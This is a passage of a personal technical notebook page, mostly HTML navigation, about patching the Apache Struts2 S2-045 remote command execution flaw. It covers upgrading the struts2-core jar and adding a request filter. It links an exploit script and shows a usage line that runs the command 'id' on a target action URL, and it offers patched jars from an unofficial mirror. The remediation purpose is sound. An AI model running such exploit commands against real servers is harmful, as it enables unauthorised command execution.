</label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              S2-045\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          S2-045\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        S2-045\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    漏洞简介\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#exp\" class=\"md-nav__link\">\n    exp\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    解决过程\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    漏洞简介\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#exp\" class=\"md-nav__link\">\n    exp\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    解决过程\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"struts2s2-045\">修复Struts2的S2-045漏洞<a class=\"headerlink\" href=\"#struts2s2-045\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"_1\">漏洞简介<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>最近批露，Apache Struts 2软件存在远程命令执行高危漏洞，Struts2官方已经确认该漏洞，漏洞编号为CVE-2017-5638，受影响的版本包括 Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10 。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令，对受影响站点造成严重影响，引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。</p>\n<p>目前，Struts 2软件作为网站开发的底层模板使用，特别是互动性较强的用于报名、注册、查询、留言的信息系统，我国内超过300万家政府网站及其子站使用了Struts框架。鉴于Struts 2应用广泛、黑客关注度较高、漏洞危害较大、攻击方式简单，一旦被别有用心人员利用，可能对我网络安全造成较大的危害和影响，建议各重要行业部门及时督促核查本部门、本行业、本辖区网站安全情况，及时堵塞漏洞，消除安全隐患，提高安全防范能力，并及时上报核查及整改情况。</p>\n<hr />\n<h2 id=\"exp\">exp<a class=\"headerlink\" href=\"#exp\" title=\"Permanent link\">&para;</a></h2>\n<p>首先丢个exp，用于检验漏洞存在性：<a href=\"../code/exp.S2-045.py\">exp.S2-045.py</a></p>\n<p>使用方法示例：</p>\n<div class=\"codehilite\"><pre><span></span><code>python exp.S2-045.py http://example.com/example.action &quot;id&quot;\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">解决过程<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>翻遍了官网和各种新闻，没有切实可行的方案，下载地址只有存在漏洞的2.3.31的版本，漏洞修复方案都是简略的一句升级到2.3.32，某些播报平台&amp;官方真是mdzz，到底是为了促进漏洞修补还是促进全网被黑？</p>\n<p>官方只是给了一个maven的配置方法，并没有直接可以下载的jar文件或zip包</p>\n<p>只能按照官方的方法用maven去尝试构建一个struts应用(快速装好maven的方法是买个香港的vps用docker pull maven)，总算发现了新版的jar包下载地址：</p>\n<p><a href=\"https://repo.maven.apache.org/maven2/org/apache/struts/\">https://repo.maven.apache.org/maven2/org/apache/struts/</a></p>\n<p>通过下载2.3.31核心包发现只有<code>struts2-core</code>是需要的。</p>\n<hr />\n<h1 id=\"jar\">通过升级jar包修复<a class=\"headerlink\" href=\"#jar\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"23x\">2.3.x版本修复方法<a class=\"headerlink\" href=\"#23x\" title=\"Permanent link\">&para;</a></h2>\n<p>下载2.3.32版本的jar文件</p>\n<p><a href=\"https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar\">https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar</a></p>\n<p>国内CDN下载地址: <a href=\"https://d.py3.io/struts2-core-2.3.32.jar\">https://d.py3.io/struts2-core-2.3.32.jar</a></p>\n<p>假设服务器上用的是2.3.30版本，则<code>tomcat所在目录/webapps/应用名称/WEB-INF/lib</code>里面有一个<code>struts2-core-2.3.30.jar</code></p>\n<p>修复方法就是①把上述文件删掉(自行备份)，②下载到的新版jar文件改名为同名文件，③上传替换，④重启tomcat即可</p>\n<p>Tip: 替换后要保证旧版的jar文件不存在，例如移到上一级目录，不要把旧版本的jar改名留在lib目录下，否则将导致这个webapp无法启动</p>\n<h2 id=\"25x\">2.5.x版本修复方法<a class=\"headerlink\" href=\"#25x\" title=\"Permanent link\">&para;</a></h2>\n<p>下载2.5.10.1版本的jar文件</p>\n<p><a href=\"https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.5.10.1/struts2-core-2.5.10.1.jar\">https://repo.maven.apache.org/maven2/org/apache/struts/struts2-core/2.5.10.1/struts2-core-2.5.10.1.jar</a></p>\n<p>国内CDN下载地址：<a href=\"https://d.py3.io/struts2-core-2.5.10.1.jar\">https://d.py3.io/struts2-core-2.5.10.1.jar</a></p>\n<p>假设服务器上用的是2.5.10版本，则<code>tomcat所在目录/webapps/应用名称/WEB-INF/lib</code>里面有一个<code>struts2-core-2.5.10.jar</code></p>\n<p>修复方法同上</p>\n<hr />\n<h1 id=\"filter\">通过增加Filter修复<a class=\"headerlink\" href=\"#filter\" title=\"Permanent link\">&para;</a></h1>\n<p>如果不方便替换jar包，可以通过本方法进行拦截攻击请求</p>\n<p>① 将以下SecurityFilter.java文件编译成SecurityFilter.class，注意编译之前设置项目的兼容性级别，选择服务器版本的jdk，复制到应用的WEB-INF/classes目录下。</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">java.io.IOException</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.Filter</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.FilterChain</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.FilterConfig</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.ServletException</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.ServletRequest</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.ServletResponse</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.http.HttpServlet</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.http.HttpServletRequest</span><span class=\"p\">;</span>\n<span class=\"kn\">import</span><span class=\"w\"> </span><span class=\"nn\">javax.servlet.http.HttpServletResponse</span><span class=\"p\">;</span>\n\n\n<span class=\"kd\">public</span><span 